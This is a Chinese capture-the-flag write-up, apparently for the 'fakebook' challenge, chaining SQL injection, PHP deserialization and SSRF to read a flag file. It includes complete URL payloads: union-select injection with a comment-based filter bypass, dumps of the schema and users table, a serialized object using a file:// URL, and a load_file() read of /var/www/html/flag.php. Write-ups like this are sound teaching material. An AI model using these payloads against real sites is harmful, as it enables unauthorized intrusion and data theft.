打开环境
先申请一个账号进去
没什么头绪,发现admin也能点,进去看看
在URL上发现了注入点
所以试试sql注入
经过测试发现是数字型
进行字段查询
no=1 order by 4
no=1 order by 5
报错,说明只有四个字段
然后进行简单查询
发现union select被过滤了
最先以为空格被过滤了,所以各种试,然后发现只有这个
//union//select
可以,经过了解,应该是防火墙的原因
再次构造payload
no=0/**/union/**/select 1,2,3,4
发现回显位为2
然后按照流程查就行了
这个方法很简单
no=0/**/union/**/select%201,database(),3,4
no=0/**/union/**/select%201,group_concat(table_name),3,4%20from%20information_schema.tables%20where%20table_schema=%27fakebook%27
no=0/**/union/**/select%201,group_concat(column_name),3,4%20from%20information_schema.columns%20where%20table_name=%27users%27
no=0/**/union/**/select%201,group_concat(no,username,passwd,data),3,4%20from%20users
其中有个序列化的东西
O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:20;s:4:"blog";s:9:"baidu.com";}
这个应该就是data里面的东西了
总感觉少了一些东西,
所以我试了试御剑
发现最基础的东西都忘了
发现源码泄露了
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
其实这里的代码审计都很简单,看过我博客的都知道我之前审计了很多反序列化的代码审计,所以这里就不一步步来了,就一个点需要注意
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
这里应该存在SSRF漏洞
因为从代码中得知用户在注册填的bolg会调用get()函数使用curl发起网络请求获得blog内容并显示出来,这里因为curl_exec()使用不当造成SSRF(服务器端请求伪造)。想着在注册的时候直接利用SSRF漏洞读flag.php,发现不可行,因为注册的时候有正则匹配限制了http(s)协议
然后之前我说为啥爆字段那些东西的时候下面一直给我看绝对路径
原来是这里要结合SSRF漏洞
让我们回过头去看看绝对路径
所以构造payload
<?php
class UserInfo {
public $name = "admin";
public $age = 20;
public $blog = "file:///var/www/html/flag.php";
}
$data = new UserInfo();
echo serialize($data);
使用最终payload
no=0/**/union/**/select%201,2,3,%27O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:20;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27
发现成功绕过,查看源码
再把flag.txt的内容进行base64解码就能得到flag了
到这里我们之前其实一直忽略了一个点就是blog
因为这个SSRF我才想起它
所以我去找了找 还真有利用这个点的wp
这里给大家推一下
这个博主是用的bp抓post注入,另一种方式可以去看看
然后我在浏览其他博主的wp时
还发现了其实这个题还有个非预期解
因为sql注入没有过滤load_file,直接取得flag
这个方法也不能说取巧,其实也是出题者留下的漏洞
load_file也要知道文件的绝对路径
所以还是不能直接就用的,只能说是没有找到源码的博主
的强制找到的天胡方法,但我相信他还是会走到查询到绝对路径那一步
也就是构造这个payload
no=0/**/union/**/select 1,load_file("/var/www/html/flag.php"),3,4
然后其实这里非预期解的flag其实还能靠python跑出来
这里就不再论述了
这道题是sql+ssrf+反序列化
希望这篇文章能够帮助你!